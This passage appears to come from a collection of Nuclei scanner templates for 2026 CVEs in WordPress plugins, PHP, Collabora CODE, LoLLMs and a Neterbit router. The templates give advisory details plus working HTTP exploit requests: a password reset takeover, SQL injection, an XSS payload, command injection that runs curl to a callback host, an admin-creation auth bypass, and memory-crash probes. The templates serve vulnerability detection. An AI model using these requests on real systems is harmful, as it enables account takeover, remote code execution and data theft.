CVE-2026-11387\n\ninfo:\n  name: SMS Alert – SMS & OTP for WooCommerce - Privilege Escalation\n  author: str4k3r\n  severity: critical\n  description: |\n    The SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.9.5. This is due to the plugin not properly validating a user's identity prior to updating their details like reset the password of any user account, including administrators, and gain full access to those accounts. This makes it possible for unauthenticated attackers to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account. This is only vulnerable on sites with OTP verification for password resets enabled, and where the administrator (or other user) has set a phone number for OTP verification.\n  impact: |\n    Unauthenticated attackers can reset passwords and take over user accounts, including administrators, leading to full account compromise.\n  remediation: |\n    Update to the latest version of the plugin.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-11387\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/c31906da-f2fd-40ac-86e0-3f1ed0409d0c?source=cve\n    - https://plugins.trac.wordpress.org/changeset/3587983/sms-alert\n    - https://wordpress.org/plugins/sms-alert/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-11387\n    epss-score: 0.02208\n    epss-percentile: 0.82633\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: cozyvision1\n    product: sms-alert\n  tags: cve,cve2026,wordpress,wp-plugin,sms-alert,auth-bypass,account-takeover\n\nvariables:\n  username: \"\"\n  new_password: \"CVE11387-{{rand_base(16)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php?action=lostpassword HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        user_login={{url_encode(username)}}&wc_reset_password=1\n\n      - |\n        POST /?option=smsalert-change-password-form HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        option=smsalert-change-password-form&smsalert_user_newpwd={{url_encode(new_password)}}&smsalert_user_cnfpwd={{url_encode(new_password)}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"password-reset=true\"\n\n      - type: status\n        status:\n          - 302\n\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"Username: \" + username + \" | New Password: \" + new_password'\n# digest: 4b0a00483046022100b06f4c710d078e8ffa6fc811a8609e23ab45aeb99580407994ac9015edfadfa0022100fcd508286dd759f32d64d70209df9fa7841dd3e39ad94958aac0fc3ad0d47124:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-11387.yaml","vuln_id":"cve-2026-11387"},{"raw":"id: CVE-2026-112866\n\ninfo:\n  name: Product Filter by WBW <= 3.4.6 - SQL Injection\n  author: HaroonArshad-53\n  severity: critical\n  description: |\n    WPFactory Product Filter by WBW woo-product-filter <= 3.4.6 contains an SQL injection caused by improper neutralization of special elements in SQL commands, letting attackers perform blind SQL injection remotely, exploit requires crafted input.\n  impact: |\n    Attackers can perform blind SQL injection to extract or manipulate database information, potentially compromising data integrity and confidentiality.\n  remediation: |\n    Update to the latest version beyond 3.4.6.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/woo-product-filter/vulnerability/wordpress-product-filter-by-wbw-plugin-3-4-6-sql-injection-vulnerability\n    - https://www.cve.org/CVERecord?id=CVE-2026-112866\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L\n    cvss-score: 9.3\n    cve-id: CVE-2026-112866\n    epss-score: 0.01164\n    epss-percentile: 0.67356\n    cwe-id: CWE-89\n  metadata:\n    max-request: 2\n    vendor: woobewoo\n    product: woo-product-filter\n  tags: cve,cve2026,wordpress,wp-plugin,woo-product-filter,sqli\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=woobewoo_pf_filters_frontend&reqType=ajax&pl=wpf&mod=woofilters&filtersDataBackend=%5B%7B%22uniqId%22%3A%22u1%22%2C%22id%22%3A%22wpfAttribute%22%2C%22name%22%3A%22wpf_filter_color%22%2C%22settings%22%3A%5B%5D%7D%5D&queryvars%5Bpost_type%5D=product&queryvars%5Bposts_per_page%5D=12&queryvars%5Bposts_per_row%5D=4&queryvars%5Bpaginate_type%5D=query&queryvars%5Bpaginate_base%5D=&filterSettings=%7B%22filter_recount%22%3A1%2C%22check_get_names%22%3A1%7D&generalSettings=%5B%7B%22uniqId%22%3A%22u1%22%2C%22id%22%3A%22wpfAttribute%22%2C%22settings%22%3A%7B%22f_enable%22%3A1%2C%22f_list%22%3A%22pa_color%22%2C%22f_show_count%22%3A1%2C%22f_frontend_type%22%3A%22list%22%7D%7D%5D&woocommerceSettings=%7B%7D&currenturl=http://127.0.0.1:21800%2F%3Fwpf_filter_color%3D1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"filter_state\\\":{\\\"exists\\\":{\\\"pa_color\\\"\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=woobewoo_pf_filters_frontend&reqType=ajax&pl=wpf&mod=woofilters&filtersDataBackend=%5B%7B%22uniqId%22%3A%22u1%22%2C%22id%22%3A%22wpfAttribute%22%2C%22name%22%3A%22wpf_filter_color%60%22%2C%22settings%22%3A%5B%5D%7D%5D&queryvars%5Bpost_type%5D=product&queryvars%5Bposts_per_page%5D=12&queryvars%5Bposts_per_row%5D=4&queryvars%5Bpaginate_type%5D=query&queryvars%5Bpaginate_base%5D=&filterSettings=%7B%22filter_recount%22%3A1%2C%22check_get_names%22%3A1%7D&generalSettings=%5B%7B%22uniqId%22%3A%22u1%22%2C%22id%22%3A%22wpfAttribute%22%2C%22settings%22%3A%7B%22f_enable%22%3A1%2C%22f_list%22%3A%22color%60%22%2C%22f_show_count%22%3A1%2C%22f_frontend_type%22%3A%22list%22%7D%7D%5D&woocommerceSettings=%7B%7D&currenturl=http://127.0.0.1:21800%2F%3Fwpf_filter_color%2560%3D1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"filter_state\\\":{\\\"exists\\\":[]\")'\n        condition: and\n# digest: 4b0a00483046022100e2e3752a451f50c24ed06f8249269060d7fd2aed0b4526a7f66fb1616ce59a92022100e1eaef9a575a8901b22709e749be7b64b5f830bcfb38a82cc8de1abf539e906f:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-112866.yaml","vuln_id":"cve-2026-112866"},{"raw":"id: CVE-2026-1115\n\ninfo:\n  name: parisneo/lollms < 2.2.0 - Authenticated Stored XSS\n  author: str4k3r\n  severity: high\n  description: |\n    parisneo/lollms < 2.2.0 contains a stored XSS caused by unsanitized user input in create_post function in backend/routers/social/__init__.py, letting attackers inject malicious scripts executed in user browsers, exploit requires crafted post submission.\n  impact: |\n    Attackers can execute malicious scripts in user browsers, leading to account takeover, session hijacking, and wormable attacks.\n  remediation: |\n    Update to version 2.2.0 or later.\n  reference:\n    - https://github.com/parisneo/lollms/commit/9767b882dbc893c388a286856beeaead69b8292a\n    - https://huntr.com/bounties/099aa4fe-7165-4337-889c-3fb4f1aa71aa\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-1115\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H\n    cvss-score: 9.0\n    cve-id: CVE-2026-1115\n    epss-score: 0.01261\n    epss-percentile: 0.69702\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: parisneo\n    product: lollms\n    shodan-query: http.title:\"LoLLMs\"\n    fofa-query: title=\"LoLLMs\"\n  tags: cve,cve2026,lollms,ai,xss,stored,authenticated,intrusive\n\nvariables:\n  marker: \"{{rand_base(8)}}\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        POST /api/auth/token HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username={{url_encode(username)}}&password={{url_encode(password)}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"access_token\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: access_token\n        part: body\n        internal: true\n        json:\n          - '.access_token'\n\n  - raw:\n      - |\n        POST /api/social/posts HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{access_token}}\n        Content-Type: application/json\n\n        {\"content\":\"CVE20261115{{marker}} <img src=x onerror=alert(document.domain)>\",\"visibility\":\"public\",\"media\":[]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 201'\n        internal: true\n\n    extractors:\n      - type: json\n        name: post_id\n        part: body\n        internal: true\n        json:\n          - '.id'\n\n  - raw:\n      - |\n        GET /api/social/feed HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{access_token}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"CVE20261115{{marker}}\", \"<img src=x onerror=alert(document.domain)>\")'\n        condition: and\n# digest: 490a0046304402204df9b6d0da187bc6b578a1326e44f8c8dec7c105bfc737c41b8cff79c07ab64002200ad43587913b201c08791709ca2e3ff5e783883262a8502ca3587e813c303162:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-1115.yaml","vuln_id":"cve-2026-1115"},{"raw":"id: CVE-2026-110447\n\ninfo:\n  name: Collabora Built-in CODE Server < 26.4.303 - OS Command Injection\n  author: alex700\n  severity: critical\n  description: |\n    Collabora Online Built-in CODE Server before 26.4.303 contains a command injection caused by improper handling in proxy.php when the CODE server is not running, letting remote attackers execute OS commands, exploit requires CODE server to be stopped.\n  impact: |\n    Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.\n  remediation: |\n    Upgrade to version 26.4.303 or later.\n  reference:\n    - https://github.com/CollaboraOnline/richdocumentscode/issues/354\n    - https://github.com/CollaboraOnline/richdocumentscode/compare/26.4.302...26.4.303\n    - https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/110xxx/CVE-2026-110447.json\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-110447\n  classification:\n    cve-id: CVE-2026-110447\n    epss-score: 0.73307\n    epss-percentile: 0.99463\n    cwe-id: CWE-78\n    cvss-score: 9.2\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: collabora\n    product: richdocumentscode\n    fofa-query: body=\"/apps/richdocumentscode/\"\n    shodan-query: http.html:\"/apps/richdocumentscode/\"\n    publicwww-query: \"/apps/richdocumentscode/\"\n  tags: cve,cve2026,collabora,nextcloud,richdocumentscode,rce,oast,intrusive,vuln,kev,vkev\n\nflow: (http(1) && http(2)) || (http(3) && http(4))\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/apps/richdocumentscode/proxy.php?nuclei_detect\"\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Socket proxy error\"\n        internal: true\n\n  - unsafe: true\n    raw:\n      - |+\n        GET /x$(curl${IFS}-s${IFS}{{interactsh-url}})x/%2e%2e/apps/richdocumentscode/proxy.php?status HTTP/1.1\n        Host: {{Hostname}}\n        Connection: close\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"status\"'\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/apps/richdocumentscode_arm64/proxy.php?nuclei_detect\"\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Socket proxy error\"\n        internal: true\n\n  - unsafe: true\n    raw:\n      - |+\n        GET /x$(curl${IFS}-s${IFS}{{interactsh-url}})x/%2e%2e/apps/richdocumentscode_arm64/proxy.php?status HTTP/1.1\n        Host: {{Hostname}}\n        Connection: close\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"status\"'\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n# digest: 4a0a00473045022100ebc0b2b2f5989195264ca03d930b1c4326d5ba0b937a5849a00491621e303b9302207ecab902b5f19c81fbd5eb8aac9fcddc48c40b075e2df2400cb1dd7a29541f6d:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-110447.yaml","vuln_id":"cve-2026-110447"},{"raw":"id: CVE-2026-110372\n\ninfo:\n  name: WordPress OttoKit Plugin <= 1.1.40 - Unauthenticated Privilege Escalation via connection-denied Token\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    OttoKit (formerly SureTriggers) WordPress plugin <= 1.1.40 unauthenticated privilege escalation. When an admin denies the OttoKit SaaS connection, the plugin stores the fixed public string 'connection-denied' as the site API secret. The RestController::autheticate_user permission callback reads the 'st_authorization' request header, strips a 'Bearer ' prefix via sscanf($token,'Bearer %s'), then hash_equals() it against the stored secret. An attacker who sends 'st-authorization: Bearer connection-denied' is authenticated to the automation REST API and can create administrator accounts. Fixed in 1.1.41.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-ottokit-plugin-1-1-40-privilege-escalation-vulnerability\n    - https://wpsec.com/vuln/WPSEC-2026-1053/\n    - https://patchstack.com/articles/additional-critical-ottokit-formerly-suretriggers-vulnerability-patched/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-110372\n    epss-score: 0.01365\n    epss-percentile: 0.71885\n    cwe-id: CWE-266\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: 'http.html:\"wp-content/plugins/suretriggers\"'\n    fofa-query: 'body=\"wp-content/plugins/suretriggers\"'\n  tags: cve,cve2026,wordpress,ottokit,suretriggers,privilege-escalation,unauth,wp-plugin,intrusive,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-json/\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"sure-triggers\"\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-json/sure-triggers/v1/automation/action HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        st-authorization: Bearer connection-denied\n\n        {\"integration\":\"WordPress\",\"type_event\":\"create_user_if_not_exists\",\"selected_options\":{\"user_name\":\"probe{{rand_text_alpha(6)}}\",\"user_email\":\"probe{{rand_text_numeric(4)}}@{{interactsh-url}}\",\"password\":\"Pr0be!{{rand_text_alphanumeric(8)}}Nuc1ei\",\"first_name\":\"Probe\",\"last_name\":\"Check\",\"role\":\"subscriber\",\"force_update_user_role\":true,\"add_user_roles\":true,\"show_password\":true}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"rest_forbidden\"\n          - \"Sorry, you are not allowed to do that\"\n          - \"rest_no_route\"\n        negative: true\n\n      - type: word\n        part: body\n        words:\n          - '\"success\":true'\n          - '\"user_login\"'\n          - '\"user_registered\"'\n        condition: or\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: created_user_id\n        regex:\n          - '\"ID\":\\s*\"?(\\d+)\"?'\n        group: 1\n# digest: 490a004630440220287fae91d266ebd33858067090a8df4e3e666349853305473460578e8724436e02204e6f8d4bcf5874e844837b71dd566b643162982fce45762fd432e596c247b288:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-110372.yaml","vuln_id":"cve-2026-110372"},{"raw":"id: CVE-2026-109619\n\ninfo:\n  name: PHP 8.2 < 8.2.35, 8.3 < 8.3.36, 8.4 < 8.4.27, 8.5 < 8.5.12 - Use-After-Free Remote Code Execution\n  author: comradezephyr (Abdullah Shahid)\n  severity: critical\n  description: |\n    PHP 8.2 before 8.2.35, 8.3 before 8.3.36, 8.4 before 8.4.27, and 8.5 before 8.5.12 contain a use-after-free caused by request-owned global state that is not reset before the request heap is freed, letting unauthenticated attackers execute arbitrary code in a subsequent request handled by the same worker; exploitation requires a crafted request sequence and a reachable session or INI consumer.\n    This template performs a passive version check against the PHP version disclosed in the X-Powered-By or Server response header and does not send a crafted request. It follows same-origin redirects (same host and port); redirects to another origin are ignored so a third-party response cannot be attributed to the scanned host. Limitations: detection requires the version to be exposed, so hosts with expose_php=Off and no PHP version in the Server header, hosts behind a proxy or FastCGI configuration that strips these headers, and applications that override them are not detected. These headers can also be spoofed, so a match is only as trustworthy as the disclosed header. Builds that backport the fix while keeping the upstream version number (for example 8.2.34-1ubuntu1) still match, so a match reports an affected upstream version rather than confirmed exploitability. Pre-release or development builds of a fixed version (for example 8.2.35RC1) and responses that advertise conflicting versions in different headers are not matched.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code with the privileges of the PHP worker, leading to full compromise of the web server.\n  remediation: |\n    Upgrade to PHP 8.2.35, 8.3.36, 8.4.27, or 8.5.12 and restart all PHP workers. Until patched, set session.upload_progress.enabled=0 and memory_limit=-1 as partial mitigations.\n  reference:\n    - https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp\n    - https://www.php.net/archive/2026.php#2026-10-21-5\n    - https://www.openwall.com/lists/oss-security/2026/10/21/7\n    - https://calif.io/php2shell/\n    - https://www.wiz.io/blog/php2shell-php-rce\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-109619\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 9.2\n    cve-id: CVE-2026-109619\n    epss-score: 0.99999\n    epss-percentile: 0.99999\n    cwe-id: CWE-416\n    cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: php\n    product: php\n    shodan-query: 'http.headers:\"X-Powered-By: PHP\"'\n    fofa-query: 'header=\"X-Powered-By: PHP\"'\n  tags: cve,cve2026,php,php2shell,rce,use-after-free,passive,kev,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"(compare_versions(version, '>= 8.2.0') && compare_versions(version, '< 8.2.35')) || (compare_versions(version, '>= 8.3.0') && compare_versions(version, '< 8.3.36')) || (compare_versions(version, '>= 8.4.0') && compare_versions(version, '< 8.4.27')) || (compare_versions(version, '>= 8.5.0') && compare_versions(version, '< 8.5.12'))\"\n\n    extractors:\n      - type: regex\n        name: version\n        part: header\n        group: 1\n        regex:\n          - '(?im)^(?:x-powered-by:\\s*PHP/|server:[^\\r\\n]*?\\bPHP[/ ])([0-9]+\\.[0-9]+\\.[0-9]+)'\n# digest: 4a0a00473045022100b2de261b33e96282ecd7fac3a90c46979bf4b57e03c9adbfa7e1f54ae3435f1d022010ec558b2336db0d94277d5b7c51fad06387ebadc7caa4a717ac42754e10c66b:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-109619.yaml","vuln_id":"cve-2026-109619"},{"raw":"id: CVE-2026-109618\n\ninfo:\n  name: PHP2Shell (CVE-2026-109618/CVE-2026-109619) - Active Crash Detection\n  author: lcfr_hax,assetnote,princechaddha,s4e-io\n  severity: critical\n  description: |\n    PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).\n  impact: |\n    Affected PHP installations may allow an unauthenticated attacker to corrupt process memory, disclose sensitive worker memory, or achieve remote code execution as the web worker account.\n  remediation: |\n    Upgrade to PHP 8.2.35, 8.3.36, 8.4.27, 8.5.12, or later. PHP 8.1 and older are end-of-life upstream; upgrade to a supported branch or apply vendor backports for both CVE-2026-109618 and CVE-2026-109619.\n  reference:\n    - https://www.php.net/index.php#2026-10-21-5\n    - https://www.php.net/archive/2026.php\n    - https://cert.europa.eu/publications/security-advisories/2026-018\n    - https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w\n    - https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp\n    - https://www.wiz.io/blog/php2shell-php-rce\n    - https://github.com/assetnote/php2shell-scanner\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 9.2\n    cve-id: CVE-2026-109618\n    epss-score: 0.99999\n    epss-percentile: 0.99999\n    cwe-id: CWE-416\n    cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: php\n    product: php\n    shodan-query: 'http.component:\"PHP\"'\n    fofa-query: 'header=\"X-Powered-By: PHP\"'\n  tags: cve,cve2026,php,php2shell,rce,intrusive,vkev,kev\n\nflow: |\n  function repeatStr(s, n) {\n    var r = '';\n    while (n > 0) {\n      if (n & 1) r += s;\n      s += s;\n      n >>= 1;\n    }\n    return r;\n  }\n  function buildProbe(sizeMib, parts) {\n    var size = sizeMib * 1048576;\n    var nested = repeatStr('[a]', 62);\n    var part = '--\\nContent-Disposition:name=a[]' + nested + ';filename=\\n\\n';\n    var base = repeatStr(part, parts);\n    var fillerCount = Math.floor((size - base.length) / 3);\n    var filler = repeatStr('x:\\n', fillerCount);\n    var body = '--\\n' + filler + base.substring(3);\n    return body.substring(0, body.length - 1);\n  }\n  function versionVerdict(v) {\n    if (!v) return null;\n    var m = v.match(/^(\\d+)\\.(\\d+)\\.(\\d+)(.*)$/);\n    if (!m) return null;\n    var major = parseInt(m[1]), minor = parseInt(m[2]), patch = parseInt(m[3]);\n    if (major < 8 || (major === 8 && minor < 2)) return 'EOL';\n    var fixed = {'8.2': 35, '8.3': 36, '8.4': 27, '8.5': 12};\n    var key = major + '.' + minor;\n    if (!(key in fixed)) return null;\n    if (patch < fixed[key]) return 'VULNERABLE';\n    if (patch === fixed[key] && /^[-_.]?(dev|alpha|beta|rc)/i.test(m[4])) return 'VULNERABLE';\n    return 'FIXED';\n  }\n  var PROBES = [[1, 4000], [8, 1020], [20, 1020]];\n  var REJECTED = {400:1, 403:1, 411:1, 413:1, 414:1, 417:1, 422:1, 429:1, 431:1};\n  http('control');\n  var ctrlStatus = parseInt(template['ctrl_status']);\n  if (!ctrlStatus) {\n  } else if (ctrlStatus >= 500) {\n  } else {\n    var poweredBy = template['ctrl_powered_by'] || '';\n    var matchedPHPError = false;\n    for (var i = 0; i < PROBES.length; i++) {\n      set('probe_body', buildProbe(PROBES[i][0], PROBES[i][1]));\n      var matched = http('probe');\n      if (template['probe_powered_by']) {\n        poweredBy = template['probe_powered_by'];\n      }\n      if (matched) {\n        matchedPHPError = true;\n        break;\n      }\n      var probeStatus = parseInt(template['probe_status']);\n      if (probeStatus in REJECTED) {\n        break;\n      }\n      if (versionVerdict(poweredBy) === 'FIXED') {\n        break;\n      }\n    }\n    var verdict = versionVerdict(poweredBy);\n    var distroBuild = /ubuntu|deb|\\.el[0-9]|\\.fc[0-9]|amzn|\\.al[0-9]|remi|sury/i.test(poweredBy) ||\n      /\\((?:Ubuntu|Debian|Red Hat|CentOS|Rocky|AlmaLinux|Amazon|SUSE)\\)/i.test(template['ctrl_server'] || '');\n    if (distroBuild && verdict === 'VULNERABLE') {\n      verdict = null;\n    }\n    if (!matchedPHPError && (verdict === 'VULNERABLE' || verdict === 'EOL')) {\n      set('version_verdict', verdict === 'EOL' ? 'eol' : 'true');\n      set('powered_by_ver', poweredBy);\n      http('version-verdict');\n    }\n  }\n\nhttp:\n  - id: control\n    raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=x\n        Connection: close\n\n        --x\n        Content-Disposition:name=a;filename=\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"true\"\n        internal: true\n\n    extractors:\n      - type: dsl\n        name: ctrl_status\n        dsl:\n          - \"status_code\"\n        internal: true\n\n      - type: regex\n        name: ctrl_powered_by\n        part: header\n        group: 1\n        regex:\n          - '(?im)^(?:X-Powered-By|Server):[^\\r\\n]*\\bPHP/([0-9]+\\.[0-9]+\\.[0-9]+[^\\s;,)]*)'\n        internal: true\n\n      - type: regex\n        name: ctrl_server\n        part: header\n        group: 1\n        regex:\n          - '(?im)^Server:\\s*([^\\r\\n]+)'\n        internal: true\n\n  - id: probe\n    raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=\n        Connection: close\n\n        {{probe_body}}\n\n    matchers:\n      - type: dsl\n        name: memory-exhaustion\n        dsl:\n          - 'contains(body, \"Allowed memory size of\") && contains(body, \"bytes exhausted\") && contains(body, \"Unknown\")'\n\n    extractors:\n      - type: dsl\n        name: probe_status\n        dsl:\n          - \"status_code\"\n        internal: true\n\n      - type: regex\n        name: probe_powered_by\n        part: header\n        group: 1\n        regex:\n          - '(?im)^(?:X-Powered-By|Server):[^\\r\\n]*\\bPHP/([0-9]+\\.[0-9]+\\.[0-9]+[^\\s;,)]*)'\n        internal: true\n\n      - type: regex\n        name: version\n        part: header\n        group: 1\n        regex:\n          - '(?im)^(?:X-Powered-By|Server):[^\\r\\n]*\\bPHP/([0-9]+\\.[0-9]+\\.[0-9]+(?:(?:[-+~_A-Za-z]|\\.[A-Za-z])[0-9A-Za-z._+~-]*)?)(?:[ \\t;,)\\r]|$)'\n\n  - id: version-verdict\n    raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Connection: close\n\n    matchers:\n      - type: dsl\n        name: version-vulnerable-no-crash\n        dsl:\n          - 'version_verdict == \"true\"'\n\n      - type: dsl\n        name: version-eol-branch\n        dsl:\n          - 'version_verdict == \"eol\"'\n\n    extractors:\n      - type: regex\n        name: version\n        part: header\n        group: 1\n        regex:\n          - '(?im)^(?:X-Powered-By|Server):[^\\r\\n]*\\bPHP/([0-9]+\\.[0-9]+\\.[0-9]+(?:(?:[-+~_A-Za-z]|\\.[A-Za-z])[0-9A-Za-z._+~-]*)?)(?:[ \\t;,)\\r]|$)'\n# digest: 4b0a0048304602210085c6178f9f06a71a0fbc52960a95d52ce424228e69747651ce380be840c365c90221008da9d34945f99dca89f45648d043610764ddd32bfe24128d4a25f57b0d7ab93c:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-109618.yaml","vuln_id":"cve-2026-109618"},{"raw":"id: CVE-2026-108578\n\ninfo:\n  name: Neterbit NW-431F - Unauthenticated SMS Disclosure\n  author: 0x_Akoko\n  severity: medium\n  description: |\n    Neterbit NW-431F 20250715 contains an information disclosure vulnerability caused by manipulation in /sms.json of the Embedded Web Server, letting remote attackers access sensitive information, exploit requires no special conditions.\n  impact: |\n    Remote attackers can disclose sensitive information, potentially compromising confidentiality.\n  remediation: |\n    Update to the latest version or apply vendor patches when available.\n  reference:\n    - https://github.com/KernelDotDLL/CVE-2026-108578\n    - https://vuldb.com/vuln/416235\n    - https://www.cve.org/CVERecord?id=CVE-2026-108578\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-108578\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-108578\n    epss-score: 0.01467\n    epss-percentile: 0.73782\n    cwe-id: CWE-200\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: neterbit\n    product: nw-431f\n    shodan-query: http.title:\"Neterbit NW-431F\"\n    fofa-query: title=\"Neterbit NW-431F\"\n  tags: cve,cve2026,neterbit,nw-431f,exposure,sms,iot,unauth\n\nhttp:\n  - raw:\n      - |\n        GET /sms.json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains_all(body, \"\\\"list\\\"\", \"\\\"inbox\\\"\", \"\\\"sent\\\"\")'\n          - 'contains_all(body, \"\\\"mms_index\\\"\", \"\\\"sender\\\"\", \"\\\"content\\\"\")'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"messages disclosed: \" + to_string(len(split(body, \"\\\"mms_index\\\"\")) - 1)'\n# digest: 4a0a004730450221009adfa056449b849559335fec54754a2a32cbc3c76d92c52aa83c05aaa15a9ad5022064067807f720431651d110ab7bad5eb22adb15a83ed0adbd1b8696bcec9e6133:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-108578.yaml","vuln_id":"cve-2026-108578"},{"raw":"id: CVE-2026-10823\n\ninfo:\n  name: YMC Filter WordPress - Unauthenticated Post Disclosure\n  author: Hardik-369\n  severity: high\n  description: |\n    YMC Filter WordPress plugin < 3.11.3 contains a broken access control vulnerability caused by improper authorization and lack of validation in a REST API endpoint, letting unauthenticated attackers retrieve private and non-public post content, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can access private, draft, and non-public post content, leading to sensitive information disclosure.\n  remediation: |\n    Update to version 3.11.3 or later.\n  reference:\n    - 